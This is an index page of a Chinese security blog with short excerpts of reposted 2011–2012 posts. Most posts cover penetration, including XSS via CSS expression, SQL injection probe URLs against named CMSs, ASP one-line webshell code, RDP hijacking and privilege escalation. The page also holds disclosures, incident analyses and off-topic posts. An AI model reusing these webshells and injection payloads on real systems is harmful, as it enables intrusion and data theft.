wordman的博客_安全文章

XSS挖漏洞 - CSS编码和反斜杠的三个技巧

在XSS的漏洞挖掘中编码和反斜杠也是需要掌握的基本方法，这里给出XSS漏洞挖掘中采用CSS编码和反斜杠的三个技巧。作者&译者:wpulog 2010/07/17 技巧一、改变编码中0的数量 (\0X -> \00000X)。例如： <p style="xss:\65xpression(alert(/wpulog/))">

技巧

休闲

style

挖掘

反

转载 2012-03-03 15:39:09 1603 阅读

Windows 8来了

微软刚刚对其Windows开发者中心进行了改版，同时放出了Windows 8的开发者预览版本(Developer P

微软

Windows

开发者

中心

下载安装

转载 2012-02-24 20:22:42 397 阅读

瑞星：ATM出现漏洞银行：哪有这回事？

本报讯（成都晚报记者王兴渠王黎娟）前日，国内安全厂商瑞星在官网发布报告说，2月21日，建行等银行的ATM存在安全漏洞，可被黑客利用来侵入银行内网，套取用户资料和金钱等。瑞星还声称，该漏洞已经被银行确认，正在积极处理中。记者在瑞星官网上看到，瑞星特别发布了《农行、建行ATM出现漏洞可被黑客利用攻击内网》的消息。瑞星称，目前很多ATM采用的都是Windows系统，此次出现漏洞的两家银

瑞星

Windows

银行

建行ATM

提款机

转载 2012-02-23 14:36:33 423 阅读

嗅探、劫持 3389 端口、远程桌面、rdp 协议的一些经验技巧总结

很多人对嗅探3389（远程桌面rdp协议）这一块，还是似懂非懂的，我就写了个总结文章，整理一下各种嗅探、劫持3389的方法，以及一些技巧经验大全，大杂烩，我尽量写得思路清晰一点，容易理解。利用 Arp 欺骗、劫持、嗅探的方法： 1、直接使用 CAIN 工具嗅探，然后分析嗅探到的数据包，分析方法见底下。 2、先看那机器的终端是谁连过去的，然后架 rdp proxy，然后 a

安装

记录

技巧

数据包

大杂烩

转载 2012-02-21 22:21:08 1951 阅读

网络渗透思路总结 Network penetration ideas

一，踩点踩点可以了解目标主机和网络的一些基本的安全信息，主要有； 1，管理员联系信息，电话号，传真号； 2，IP地址范围； 3，DNS服务器； 4，邮件服务器。相关搜索方法： 1，搜索网页。确定目标信息1，为以后发动字典和木马入侵做准备；寻找网页源代码找注释和隐藏域，寻找隐藏域中的”FORM”标记。例如：可以发起SQL注入攻

GOOGLE

Network

Windows

目标

信息

转载 2012-02-18 15:09:13 831 阅读

windows2003 x64 提权

最近看到很多基友遇到x64的版本素手无策，我最开始遇到的时候也折腾了好久，就写一下我提权的过程吧，无技术含量，本人表达能力不好，不喜勿喷，高手请飘过。什么PR，IIS6，IIS7溢出对64位的版本都没有效果，包括LPK DLL截持，网上公布的X64提权0day好像也只有一个有效，就这个吧ms10048 x64。先谈谈64位exp提权与32位exp提权的区别吧，我们平时执行exp的时候都是

技术

服务器

能力

网上

都

转载 2012-02-03 20:07:30 303 阅读

中文版putty后门事件的曝光过程及我们所受到的报复

我们（LuManager官方）于元月31号晚上向论坛一万多LuManager的用户发送邮件通知，从而导致putty后门事件的曝光，在此细说后门的发现过程，并对360和百度等大公司的无所作为表示谴责！ ######## Putty后门事件的曝光过程 * 2011年11月份，我们在用户的机器上发现/var/log目录无故被删除，由于LuManager的网站日志访问文件是在/var/log/ng

百度

网站

中文版

后门事件

转载 2012-02-02 20:45:06 1713 阅读

phpcmsV9SQL注射+列目录

漏洞作者： kobin97 提交时间： 2012-01-20 公开时间： 2012-01-25 漏洞文件：phpcms\modules\p_w_upload\p_w_uploads.php SQL注射漏洞相关代码： public function album_load() { if(!$this->admin_username) return false;

return

phpcms

public

function

转载 2012-01-28 09:50:49 5571 阅读

渗透某网游服务器小记

来源：老魔没什么技术性,只是想说明现状现在想弄钱的入侵者，似乎热衷于入侵网络游戏服务器，盗出游戏服务器程序或是数据库。国内的网络游戏企业，都应该招受过此损失，有暴露出来的，有没暴露出来的。但游戏企业对安全问题理解都十分片面，狭隘! 　当然，不只是网络游戏企业。近一两年来，入侵者乐此不疲，各种商业数据的偷盗在国内几乎快形成一种&q

网络游戏

官僚主义

入侵者

都

公安部门

转载 2012-01-26 21:34:27 579 阅读

SunTechCMS 搜索型注入通杀0day

标题:SunTechCMS 搜索型注入通杀0day 作者:hackdn 转载请注明漏洞： hellxman.blog.51cto.com/Search.aspx?swhere=1%'and%201=1%20and%20'%'=' hellxman.blog.51cto.com/Search.aspx?swhere=1%'and%201=2%20and

职场

搜索

关键字

休闲

转载 2012-01-25 15:42:56 525 阅读

搜狗跨站漏洞

http://www.sogou.com/websnapshot.do*?url=//hellxman.blog.51cto.com

职场

休闲

搜狗

原创 2012-01-12 17:16:10 315 阅读

注入点判断服务器硬盘文件访问权限

标题：Pragyan CMS v 3.0 => [Remote File Disclosure] 通过注入点判断服务器的硬盘文件是否有访问权 http://hellxman.blog.51cto.com/koohik.asp?id=48187，这个是注入点了的。现在我们用 SQL查询语句试试，C盘是否有访问权限。语句是：

硬盘

职场

count

表

休闲

转载 2012-01-12 16:42:16 305 阅读

W-Cms XSS和遍历目录漏洞

官方网站：http://w-cms.info/ 下载地址：http://code.google.com/p/wcms/ 关键字： intext:"Powered by w-CMS" 版本：[2.01] XSS漏洞 http://hellxman.blog.51cto.com/index.php?bid=1&COMMENT=1 &

职场

关键字

休闲

下载地址

官方网站

转载 2012-01-12 16:38:53 998 阅读

qq强制聊天工具代码

在浏览器上面打开:http://wpa.qq.com/msgrd?V=1&Uin=QQ号码&Site=http://hellxman.blog.51cto.com&Menu=yes 这个地址,把QQ号改成你需要聊天的QQ号就可以了 qq强制聊天,qq强制聊天工具,qq强制聊天代码可以突破一些拒绝加好友的QQ号赶快体验一下吧!

职场

qq

休闲

聊天工具

加好友

转载 2012-01-12 16:21:34 1019 阅读

突破伪静态注入你也可以

伪静态，主要是为了隐藏传递的参数名，伪静态只是一种URL重写的手段，既然能接受参数输入，所以并不能防止注入。目前来看，防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下：http://hellxman.blog.51cto.com /blog/Diablo.html，在看到之前先要确定这个页面是静态还是伪静态，鉴别方法很多。例如关联的动态页面是game.php ，那

blog

程序

数据库

action

转载 2012-01-11 11:10:47 312 阅读

牛人分享网上订火车票的小技巧:Firefox+Firebug

网购火车票并没有想象的那样美，在春运的巨大压力之下，不少问题渐渐凸显出来：唯一的购票网站系统经常繁忙、报错，导致订不到票；火车票钓鱼网站也随之大增,怎么办？牛人分享Firefox+Firebug网上订火车票。直接上图吧：图1：注意左下角系统时间以及画面中间的支付倒计时(我应该是在放票后15秒内买到的) 图2：后面嘛，只要能正常登陆和支付就行了

小技巧

钓鱼网站

网上

火车票

订火车票

转载 2012-01-11 10:37:36 279 阅读

网奇EShop网上商城系统,注射漏洞

官网:http://www.wqeshop.com/ 也不晓得用的人多不多..上次搞站的时候..不小心盲注出来的. 具体看过程... 注册个用户，进入会员中心，点击“会员信息”页面进行信息修改在表单的任何一项中都可以进入暴数据操作暴管理员ID：l', Name = Cstr(DLookUp('memberid', 'admin')) + ' 暴管

管理员

信息

admin

多

member

转载 2012-01-09 20:57:32 579 阅读 1评论

80sec感恩节事件日志分析

EMail: jianxin#80sec.com Site: http://www.80sec.com Date: 2011-11-30 From: http://www.80sec.com/ [ 目录 ] 0×00 事件背景 0×01 应急响应 0×02 事件分析 0×03 事件启示 0×04 总结 0&time

礼物

01

入侵者

案例分析

感恩节

转载 2012-01-04 15:46:05 896 阅读

从对SAE的一次授权安全评估浅谈云安全

[ 目录 ] 一背景及描述二什么是云三什么是云安全四如何对云进行安全设计五对SAE的一次授权安全评估检测一背景及简述由于国外的服务器访问较慢并且经常性的出现无法访问的情况，我们较早就与SAE合作将WooYun项目迁移至了较为稳定的SAE平台，后来与新浪SAE在安全方面也建立了合作关系，其中就包括此次安全评估测试。另外一方面，目前业界对云安全的讨论更多的都是在

新浪

合作

评估

如何

云安全

转载 2012-01-04 15:00:47 491 阅读

猜测2012年经济

2012年全球经济是在艰难中更生的一年。各界相互扶持，以市场化的共识，坚定的改革勇气，才能迎来中国经济的更生。对2012年经济预测如下。预测之一，货币政策比2011年宽松，但规模有限。

职场

休闲

中国经济

勇气

转载 2012-01-02 11:19:32 251 阅读

精妙SQL语句精华 Subtle SQL statements essence

说明：复制表(只复制结构,源表名：a 新表名：b) SQL: select * into b from a where 1<>1 说明：拷贝表(拷贝数据,源表名：a 目标表名：b) SQL: insert into b(a, b, c) select d,e,f from b; 说明：显示文章、提交人和最后回复时间 SQL: select a.title,a.user

文章

表

insert

statements

essence

转载精选 2012-01-02 11:09:34 1772 阅读

HELLXMAN SQL Injection(丽莎月亮注入)手法详解

那天在Silic Group核心群看到诸位大黑阔们在讨论，后来看Q群里的一位成员在我MSN讨论群里跟土耳其一个朋友要lizamoon的攻击脚本，我才知道有这么回事。一开始确实没打算写lizamoon，因为这个东西在圈内其实根本就不算什么，大牛们看完我写的这篇文章估计都该笑了，根本就不是什么高深技术，就是用注入来挂马而已，写了脚本批量扫批量挂，虽然暂时还不知道此次挂马的是哪位高人，不过看手法明显是一

Google

安全

苹果公司

土耳其

日本核辐射

转载 2012-01-02 11:07:38 399 阅读

Acunetix Web Vulnerability Scanner 8.x.x 逆向

啥顾问版、啥企业版都一个德性，主要看破解的时候你选择跳转到哪个版本，红色的为主要的跳转语句 0055BEA1 |. E8 3292EAFF call Activati.004050D8 0055BEA6 |. 75 18 jnz short Activati.0055BEC0 0055BEA8 |. BA 48C65500 mov edx,Activati.0055C648 ; Ent

职场

企业版

休闲

顾问

转载 2011-12-29 16:16:01 541 阅读

HELLXMAN公告：ASP.NET曝漏洞 Win7等均中招

微软日前发布了一篇知识库文章KB2659883，介绍了之前曝光的一个DoS拒绝服务攻击漏洞及暂时解决方案，该漏洞影响很多供应商的web应用程序平台，包括微软的ASP.NET。不久前一种利用该漏洞获取散列表（hash tables）的新攻击方法被公诸于众，微软所有版本.NET Framework都受此影响，可能会导致ASP.NET页面的服务器受到非授权拒绝服务攻击。攻击者可以向ASP.NET服务器发

微软

公告

解决方案

应用程序

保密局

转载 2011-12-29 16:09:50 417 阅读

MSDN未公开函数文档

HELLXMAN这里收集了一些MSDN中未公开的函数，这些函数是通过对windows 7 二进制文件逆向得到的。函数自kernel32.dll,ntdll.dll,shell32.dll,user32.dll和shlwapi.dll。 kernel32.dll 1. BaseFormatTimeOut 2. BaseGetNamedObje

职场

windows

二进制

休闲

转载 2011-12-27 21:41:36 2530 阅读

一句话木马大全 - 整理的比较全的一句话后门代码

asp一句话木马程序代码 <%eval request("sb")%> 程序代码 <%execute request("sb")%> 程序代码 <%execute(request("sb"))%> 程序代码 <%execute request("sb")%

程序

server

休闲

request

转载 2011-12-17 11:09:01 1734 阅读

Web迅雷远程任意文件读取漏洞

漏洞详情简要描述： web迅雷在设计上和实现上存在问题，导致恶意攻击者可以读取安装有web迅雷的用户机器上的任意文件详细说明： web迅雷在本机存在有一webserver，并且绑定在0.0.0.0上，同时对于web请求处理并不恰当，存在安全缺陷导致恶意攻击者可以构造请求读取用户机器上的任意文件。对于../跳目录的情况有处理，但是对于.../却可以绕过（某大师牛逼的分析思路，用f

安全

用户

file

web迅雷

转载 2011-12-17 11:01:50 546 阅读

PHPCMS V9 (plugin.php)本地文件包含漏洞hellxman

影响版本: PHPCMS V9.1.8 (20111014) 漏洞描述: 由于文件/plugin.php对于用户提交的变量未过滤，导致本地文件包含漏洞的产生。相关代码如下：文件plugin.phpif(isset($_GET['id'])) { list($identification, $filename,$action) = explode('-', $_GET['i

职场

用户

action

休闲

影响

转载 2011-12-14 17:30:30 718 阅读 1评论

魅魔MacCMS电影程序后台拿shellhellxman

电影程序、视频程序(ASP + PHP)，完全开源、强劲功能、卓越性能、安全健壮。超级易用、模板众多、插件齐全、资源丰富。构架稳健，实现平滑升级。这里是我们自己的交流平台，是属于我们90sec所有成员的技术分享平台! 程序安装默认用户密码：admin admin 我们90sec所有成员的技术分享平台!4 |1 R' r6 F' Y4 C# L# f 方法1：于我

技术

安全

程序

电影

admin

转载 2011-12-14 17:25:27 611 阅读

老板会因为你拼死写代码而感谢你吗?

程序员热衷于长时间地工作。我想说的是，你就承认吧，你的工作/老板并没有让你这样做，你自己要这样做而已。当然，我知道，也许并非所有程序员都喜欢长时间的编程。不过肯定的是，随着加班成为业内的普遍现象，至少一半的程序员必须喜欢加班，不是吗？我早已听惯了以下这类借口：“不，不是那样的，我们只是喜欢炫酷的技术活，而且不想遗留未解决的问题。实际上，加班是一件好事，它让我们变得出色！

程序员

公司

管理者

开发者

而且

转载 2011-12-14 17:23:43 149 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

网络安全技术软件

XSS挖漏洞 - CSS编码和反斜杠的三个技巧

Windows 8来了

瑞星：ATM出现漏洞银行：哪有这回事？

嗅探、劫持 3389 端口、远程桌面、rdp 协议的一些经验技巧总结

网络渗透思路总结 Network penetration ideas

windows2003 x64 提权

中文版putty后门事件的曝光过程及我们所受到的报复

phpcmsV9SQL注射+列目录

渗透某网游服务器小记

SunTechCMS 搜索型注入通杀0day

搜狗跨站漏洞

注入点判断服务器硬盘文件访问权限

W-Cms XSS和遍历目录漏洞

qq强制聊天工具代码

突破伪静态注入你也可以

牛人分享网上订火车票的小技巧:Firefox+Firebug

网奇EShop网上商城系统,注射漏洞

80sec感恩节事件日志分析

从对SAE的一次授权安全评估浅谈云安全

猜测2012年经济

精妙SQL语句精华 Subtle SQL statements essence

HELLXMAN SQL Injection(丽莎月亮注入)手法详解

Acunetix Web Vulnerability Scanner 8.x.x 逆向

HELLXMAN公告：ASP.NET曝漏洞 Win7等均中招

MSDN未公开函数文档

一句话木马大全 - 整理的比较全的一句话后门代码

Web迅雷远程任意文件读取漏洞

PHPCMS V9 (plugin.php)本地文件包含漏洞hellxman

魅魔MacCMS电影程序后台拿shellhellxman

老板会因为你拼死写代码而感谢你吗?